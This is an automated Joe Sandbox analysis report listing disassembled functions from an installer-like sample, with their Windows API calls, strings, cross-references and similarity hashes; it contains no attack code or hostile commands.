Part of subcall function 00452590: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00452677

73A25CF0.USER32(?,00490D1B,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00490D14,?,?,000000FC,004903C8,00000000,STATIC), ref: 00490D0E

Strings

STATIC, xrefs: 00490C2E
/SECONDPHASE="%s" /FIRSTPHASEWND=$%x , xrefs: 00490CA7

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FileWindow$CloseCreateHandle$AttributesCopyLongMultipleObjectsPrivateProfileStringWaitWrite
String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
API String ID: 170458502-2312673372
Opcode ID: 3291ae40cca8e639a2fa3575d7386dd73fdd352732615bf7961a12fc9ded30d9
Instruction ID: 92ce551481e6a002572db3822da7cd140e35cf2137eba75a76cf686200e2178a
Opcode Fuzzy Hash: 3291ae40cca8e639a2fa3575d7386dd73fdd352732615bf7961a12fc9ded30d9
Instruction Fuzzy Hash: EE414371A44208AFDF10EBA5DC42F9E7BF8EB09704F514576F510F7291D6799E008BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0042EA7C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0042EA88
GetModuleHandleA.KERNEL32(user32.dll), ref: 0042EA9C
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0042EAA9
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0042EAB6
GetWindowRect.USER32(?,00000000), ref: 0042EB02
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D), ref: 0042EB40

Strings

user32.dll, xrefs: 0042EA97
MonitorFromWindow, xrefs: 0042EAA3
GetMonitorInfoA, xrefs: 0042EAB0
(, xrefs: 0042EAE1

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: 372781250b5e26a90a536cdab21d6e8fb85424a4b2df6cc7dc4c1284726dc8a7
Instruction ID: 33f08c3eecf59c1efe6da1d62cafc2865f84f18ea85c38477b96760789069036
Opcode Fuzzy Hash: 372781250b5e26a90a536cdab21d6e8fb85424a4b2df6cc7dc4c1284726dc8a7
Instruction Fuzzy Hash: 9721D4B67017246FD300DA69DC81F3B7B98DB84714F09462AF945DB381DA78EC008A59

Uniqueness

Uniqueness Score: -1.00%

Function 0045EEF0 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0045EEFC
GetModuleHandleA.KERNEL32(user32.dll), ref: 0045EF10
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0045EF1D
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0045EF2A
GetWindowRect.USER32(?,00000000), ref: 0045EF76
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,00000000), ref: 0045EFB4

Strings

user32.dll, xrefs: 0045EF0B
(, xrefs: 0045EF55
MonitorFromWindow, xrefs: 0045EF17
GetMonitorInfoA, xrefs: 0045EF24

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: e45decf36f7f589e9402f4798f3bd4f8d6fcd5a60320c5862763d4d4f52b0346
Instruction ID: 495c241bec279fa6e8d852d727b900aa08f5c3bdd79c5966852e86187c859b95
Opcode Fuzzy Hash: e45decf36f7f589e9402f4798f3bd4f8d6fcd5a60320c5862763d4d4f52b0346
Instruction Fuzzy Hash: EE21C2B2205604BFD2049669CC81F3B7799DB84711F09452AFD44DB3C2DA78ED098A99

Uniqueness

Uniqueness Score: -1.00%

Function 00457028 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 127pipeCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00457207,?,00000000,0045726A,?,?,02113858,00000000), ref: 00457085
TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00004034,00000014,02113858,?,00000000,0045719C,?,00000000,00000001,00000000,00000000,00000000,00457207), ref: 004570E2
GetLastError.KERNEL32(?,-00000020,0000000C,-00004034,00000014,02113858,?,00000000,0045719C,?,00000000,00000001,00000000,00000000,00000000,00457207), ref: 004570EF
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 0045713B
GetOverlappedResult.KERNEL32(?,?,00000000,00000001,00457175,?,-00000020,0000000C,-00004034,00000014,02113858,?,00000000,0045719C,?,00000000), ref: 00457161
GetLastError.KERNEL32(?,?,00000000,00000001,00457175,?,-00000020,0000000C,-00004034,00000014,02113858,?,00000000,0045719C,?,00000000), ref: 00457168

Part of subcall function 00451E20: GetLastError.KERNEL32(00000000,00452891,00000005,00000000,004528C6,?,?,00000000,00494628,00000004,00000000,00000000,00000000,?,004921BD,00000000), ref: 00451E23

Strings

TransactNamedPipe, xrefs: 004570FB
CreateEvent, xrefs: 00457093

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
String ID: CreateEvent$TransactNamedPipe
API String ID: 2182916169-3012584893
Opcode ID: 38f21b6de1c3782b685d2c0af9f28be416f44e06874f6bb5035634e2dcc68750
Instruction ID: 6afc82d78c4e6d9526045151df1525e73fa02dd6a17213aad7cd5d98e3565ae3
Opcode Fuzzy Hash: 38f21b6de1c3782b685d2c0af9f28be416f44e06874f6bb5035634e2dcc68750
Instruction Fuzzy Hash: BC418F70A04608AFDB15DFA5DD81FAEB7F9EB08710F1040B6F904E7392D6789E44CA68

Uniqueness

Uniqueness Score: -1.00%

Function 00454D80 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,00454EE5,?,?,00000031,?), ref: 00454DA8
GetProcAddress.KERNEL32(00000000,OLEAUT32.DLL), ref: 00454DAE
LoadTypeLib.OLEAUT32(00000000,?), ref: 00454DFB

Part of subcall function 00451E20: GetLastError.KERNEL32(00000000,00452891,00000005,00000000,004528C6,?,?,00000000,00494628,00000004,00000000,00000000,00000000,?,004921BD,00000000), ref: 00451E23

Strings

LoadTypeLib, xrefs: 00454E06
UnRegisterTypeLib, xrefs: 00454D9E
UnRegisterTypeLib, xrefs: 00454E67
OLEAUT32.DLL, xrefs: 00454DA3
ITypeLib::GetLibAttr, xrefs: 00454E31
GetProcAddress, xrefs: 00454DBB

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressErrorHandleLastLoadModuleProcType
String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
API String ID: 1914119943-2711329623
Opcode ID: 10a434107409ef4988e99fdf2a40fccf44bc0ac8e46ad230c6e42fc229f0afa3
Instruction ID: 2bf04720efcd21e73fda0c956b895e5846be94a4420347b52386e37effde86e0
Opcode Fuzzy Hash: 10a434107409ef4988e99fdf2a40fccf44bc0ac8e46ad230c6e42fc229f0afa3
Instruction Fuzzy Hash: 1F319271A00604AFC701EFAACC52D5BB7BEFBC87097118466FD04DB652DA38DD44C628

Uniqueness

Uniqueness Score: -1.00%

Function 0042E274 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,0042E379,?,?,00000001,00000000,?,?,00000001,00000000,00000002,00000000,0047B8F6), ref: 0042E29D
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042E2A3
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E379,?,?,00000001,00000000,?,?,00000001), ref: 0042E2F1

Strings

kernel32.dll, xrefs: 0042E298
GetUserDefaultUILanguage, xrefs: 0042E293
.DEFAULT\Control Panel\International, xrefs: 0042E2C8
Control Panel\Desktop\ResourceLocale, xrefs: 0042E300
Locale, xrefs: 0042E2E0

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: d045098ef34200c22202e99a4145b28dd45ddec826700b532d9b98b58edb8012
Instruction ID: 4ee60a07781906a8a0ffae9c6e5e5ebe2969662c9c3675aa1be84450fad3e8b0
Opcode Fuzzy Hash: d045098ef34200c22202e99a4145b28dd45ddec826700b532d9b98b58edb8012
Instruction Fuzzy Hash: 87214630B00215EBDB00EAA7DC51B9F77A9EB04315FD04477A900E7281DB7CAE05DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00416CF0 Relevance: 15.2, APIs: 10, Instructions: 167windowCOMMON

Download Yara Rule

APIs

RectVisible.GDI32(?,?), ref: 00416D83
SaveDC.GDI32(?), ref: 00416D97
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 00416DBA
RestoreDC.GDI32(?,?), ref: 00416DD5
CreateSolidBrush.GDI32(00000000), ref: 00416E55
FrameRect.USER32(?,?,?), ref: 00416E88
DeleteObject.GDI32(?), ref: 00416E92
CreateSolidBrush.GDI32(00000000), ref: 00416EA2
FrameRect.USER32(?,?,?), ref: 00416ED5
DeleteObject.GDI32(?), ref: 00416EDF

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
String ID:
API String ID: 375863564-0
Opcode ID: 1df63080f967596adf43ebdb9d67fdccf49ab23e9096a25037667f73de04663f
Instruction ID: 01d81588b69ff1f480347e903aed9c185fc6c29f227380d1fa6610f1b9ad60dd
Opcode Fuzzy Hash: 1df63080f967596adf43ebdb9d67fdccf49ab23e9096a25037667f73de04663f
Instruction Fuzzy Hash: A8513C712086449BDB50EF69C8C0B9B77E8EF48314F15566AFD48CB286C738EC81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00404ABF Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B46
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B6A
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B86
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00404BA7
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00404BD0
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00404BDA
GetStdHandle.KERNEL32(000000F5), ref: 00404BFA
GetFileType.KERNEL32(?,000000F5), ref: 00404C11
CloseHandle.KERNEL32(?,?,000000F5), ref: 00404C2C
GetLastError.KERNEL32(000000F5), ref: 00404C46

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
Instruction ID: 0555156f4d2a620bb114dc01d937536d57074fdea11cd86abdfeb4dd56d828b4
Opcode Fuzzy Hash: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
Instruction Fuzzy Hash: 3741B3F02093009AF7305E248905B2375E5EBC0755F208E3FE296BA6E0D7BDE8458B1D

Uniqueness

Uniqueness Score: -1.00%

Function 00422158 Relevance: 15.1, APIs: 10, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000), ref: 004221A3
DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 004221C1
DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 004221CE
DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 004221DB
DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 004221E8
DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 004221F5
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 00422202
DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 0042220F
EnableMenuItem.USER32(00000000,0000F020,00000001), ref: 0042222D
EnableMenuItem.USER32(00000000,0000F030,00000001), ref: 00422249

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Menu$Delete$EnableItem$System
String ID:
API String ID: 3985193851-0
Opcode ID: b8b89d1ef914de5f4b700308a8a2e79f02337078b5e803e02db0f43c2e7e4a28
Instruction ID: e98f5eede000e984507cfb68b46ad6efe0a5c83d9602cc3651cf502f29ecaa29
Opcode Fuzzy Hash: b8b89d1ef914de5f4b700308a8a2e79f02337078b5e803e02db0f43c2e7e4a28
Instruction Fuzzy Hash: 23213370380744BAE720D725DD8BF9B7BD89B04708F0444A5BA487F2D7C6F9AE40869C

Uniqueness

Uniqueness Score: -1.00%

Function 0047BE00 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 167windowCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(10000000), ref: 0047BFA8
FreeLibrary.KERNEL32(00000000), ref: 0047BFBC
SendNotifyMessageA.USER32(00020420,00000496,00002710,00000000), ref: 0047C021

Strings

Not restarting Windows because Setup is being run from the debugger., xrefs: 0047BFDD
Deinitializing Setup., xrefs: 0047BE1E
GetCustomSetupExitCode, xrefs: 0047BE5D
Restarting Windows., xrefs: 0047BFFC
DeinitializeSetup, xrefs: 0047BEB9

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FreeLibrary$MessageNotifySend
String ID: DeinitializeSetup$Deinitializing Setup.$GetCustomSetupExitCode$Not restarting Windows because Setup is being run from the debugger.$Restarting Windows.
API String ID: 3817813901-1884538726
Opcode ID: 99f915d00c11ec276e19136852c787799f8d5699edd2cc415edbfead57b4d6dc
Instruction ID: 5aabc136c0a50bbda2486703200ad66b9283696e7d5460ba133d2cc504fcf864
Opcode Fuzzy Hash: 99f915d00c11ec276e19136852c787799f8d5699edd2cc415edbfead57b4d6dc
Instruction Fuzzy Hash: 2251BF30600A019FD712DB69E899B9A77A4EB59704F60C4BBF808C73A1DB789C45CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00457858 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 130registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00457770: RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004578A2,00000000,004579EF,?,00000000,00000000,00000000), ref: 004577BD

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,004579EF,?,00000000,00000000,00000000), ref: 004578FE
RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,004579EF,?,00000000,00000000,00000000), ref: 00457964

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

Strings

SOFTWARE\Microsoft\.NETFramework\Policy\v1.1, xrefs: 00457918
v1.1.4322, xrefs: 00457956
.NET Framework version %s not found, xrefs: 0045799E
SOFTWARE\Microsoft\.NETFramework\Policy\v2.0, xrefs: 004578B2
.NET Framework not found, xrefs: 004579B2
v2.0.50727, xrefs: 004578F0

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Close$Open
String ID: .NET Framework not found$.NET Framework version %s not found$SOFTWARE\Microsoft\.NETFramework\Policy\v1.1$SOFTWARE\Microsoft\.NETFramework\Policy\v2.0$v1.1.4322$v2.0.50727
API String ID: 2976201327-1070292914
Opcode ID: 459b95da5429d7d35dab5d0c6b2d4d5a6c6ec011e70205ce483ffcd3ec2b4037
Instruction ID: c0ad98b253435a04450e4f0d412c4263007441af3f925dfe38269f217dae66aa
Opcode Fuzzy Hash: 459b95da5429d7d35dab5d0c6b2d4d5a6c6ec011e70205ce483ffcd3ec2b4037
Instruction Fuzzy Hash: 2741EC70A081465FDB00DFA5E851BDE77B5EB49305F54447BE400DB243D7799A0ECB68

Uniqueness

Uniqueness Score: -1.00%

Function 0045DC20 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0045DC5B
GetActiveWindow.USER32 ref: 0045DCBF
CoInitialize.OLE32(00000000), ref: 0045DCD3
SHBrowseForFolder.SHELL32(?), ref: 0045DCEA
756CD120.OLE32(0045DD2B,00000000,?,?,?,?,?,00000000,0045DDAF), ref: 0045DCFF
SetActiveWindow.USER32(?,0045DD2B,00000000,?,?,?,?,?,00000000,0045DDAF), ref: 0045DD15
SetActiveWindow.USER32(?,?,0045DD2B,00000000,?,?,?,?,?,00000000,0045DDAF), ref: 0045DD1E

Strings

A, xrefs: 0045DC93

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ActiveWindow$BrowseD120FolderInitializeMalloc
String ID: A
API String ID: 2698730301-3554254475
Opcode ID: 35e8b70af3f9a11701dc89ad6a7dc5067c9e57c40fd942637c72eceddb9e2f2f
Instruction ID: cf29a6196fb2df87458bc734ae7ceebd32c59f4afd20480d407c1097e6e56ab9
Opcode Fuzzy Hash: 35e8b70af3f9a11701dc89ad6a7dc5067c9e57c40fd942637c72eceddb9e2f2f
Instruction Fuzzy Hash: E0311271D00208AFDB11EFB6D886A9EBBF8EF09304F51447AF804E7252D7785A44CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00418BC4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000E), ref: 00418BE0
GetSystemMetrics.USER32(0000000D), ref: 00418BE8
6F552980.COMCTL32(00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418BEE

Part of subcall function 00409920: 6F54C400.COMCTL32((FI,000000FF,00000000,00418C1C,00000000,00418C78,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00409924

6F5BCB00.COMCTL32((FI,00000000,00000000,00000000,00000000,00418C78,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418C3E
6F5BC740.COMCTL32(00000000,?,(FI,00000000,00000000,00000000,00000000,00418C78,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001), ref: 00418C49
6F5BCB00.COMCTL32((FI,00000001,?,?,00000000,?,(FI,00000000,00000000,00000000,00000000,00418C78,?,00000000,0000000D,00000000), ref: 00418C5C
6F550860.COMCTL32((FI,00418C7F,?,00000000,?,(FI,00000000,00000000,00000000,00000000,00418C78,?,00000000,0000000D,00000000,0000000E), ref: 00418C72

Strings

(FI, xrefs: 00418C14, 00418C2C, 00418C3A, 00418C58, 00418C6E, 00418C3D, 00418C5B, 00418C71

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: MetricsSystem$C400C740F550860F552980
String ID: (FI
API String ID: 1828538299-1614602237
Opcode ID: a62bb13e1bd7fa3b9c7351fff79d2a2ecdea0cb757dbaccc16c00855b604fece
Instruction ID: 8ee50baf9f6b03e6802097753a63af578849a2694d0e9ed51cb84c1dfac16794
Opcode Fuzzy Hash: a62bb13e1bd7fa3b9c7351fff79d2a2ecdea0cb757dbaccc16c00855b604fece
Instruction Fuzzy Hash: B51136B5744204BADB10EBF5DC82F5E73B8DB49704F50406AB604E72D2E6799D408768

Uniqueness

Uniqueness Score: -1.00%

Function 0045B5D8 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,inflateInit_), ref: 0045B5E1
GetProcAddress.KERNEL32(00000000,inflate), ref: 0045B5F1
GetProcAddress.KERNEL32(00000000,inflateEnd), ref: 0045B601
GetProcAddress.KERNEL32(00000000,inflateReset), ref: 0045B611

Strings

inflate, xrefs: 0045B5EB
inflateReset, xrefs: 0045B60B
inflateInit_, xrefs: 0045B5DB
inflateEnd, xrefs: 0045B5FB

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc
String ID: inflate$inflateEnd$inflateInit_$inflateReset
API String ID: 190572456-3516654456
Opcode ID: 0244c5342f474d5f0d92f6c90a29f5f03fc9f5158d69ccc7f6593d0f4fc18990
Instruction ID: fd82cc1e756c275edc3707c7f07377cec179b09f743abcb6ba5c01fe1bd4d686
Opcode Fuzzy Hash: 0244c5342f474d5f0d92f6c90a29f5f03fc9f5158d69ccc7f6593d0f4fc18990
Instruction Fuzzy Hash: E5012CB0500746DEEB14DF72EC90B2736A5E7E870AF14803BA845562AADB7C044BCE5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041A84C Relevance: 13.7, APIs: 9, Instructions: 176windowCOMMON

Download Yara Rule

APIs

SetBkColor.GDI32(?,00000000), ref: 0041A929
73A24D40.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020,?,00000000), ref: 0041A963
SetBkColor.GDI32(?,?), ref: 0041A978
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041A9C2
SetTextColor.GDI32(00000000,00000000), ref: 0041A9CD
SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041A9DD
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041AA1C
SetTextColor.GDI32(00000000,00000000), ref: 0041AA26
SetBkColor.GDI32(00000000,?), ref: 0041AA33

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

